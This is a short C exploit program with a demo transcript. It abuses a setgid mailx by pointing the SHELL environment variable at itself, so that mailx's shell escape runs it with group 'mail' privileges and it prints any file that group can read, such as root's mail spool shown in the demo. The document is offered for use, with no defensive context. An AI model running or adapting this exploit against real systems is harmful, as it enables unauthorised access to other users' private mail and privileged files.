// this is nothing special, it allows you to read files that are
// readable by the group 'mail'.
// feedback: segv <dan@rtfm.net>
/*------------

vges@ux~$ cc -o m mailex.c
vges@ux~$ export SHELL=./m
vges@ux~$ mailx
Mail version 5.5 6/1/90.  Type ? for help.
"/var/spool/mail/root": 1 message 1 unread
>U  1 root@ux.kdfdm.org     Sat Jun 27 03:59  14/351   "hi."
& !hi
hi this is a test.
!
& q 
 
------------*/


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void usage(char *prog);

void main(int argc, char *argv[])
{
	char buffer[1024];
	int fd, bytes;
	
	if(argc != 3) 
		usage(argv[0]);

	if((strcmp(argv[1],"-c")))
		usage(argv[0]);
	else {
		if((fd=open(argv[2],O_RDONLY)) == -1) {
			perror("open");
			exit(1);
		}
		while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
			write(1,buffer,bytes);

		close(fd);
	}
	exit(0);
}

void usage(char *prog) 
{
	fprintf(stderr,"this program should be invoked by mailx\n");
	fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
	fprintf(stderr,"name of this program.\n");
	exit(1);
}
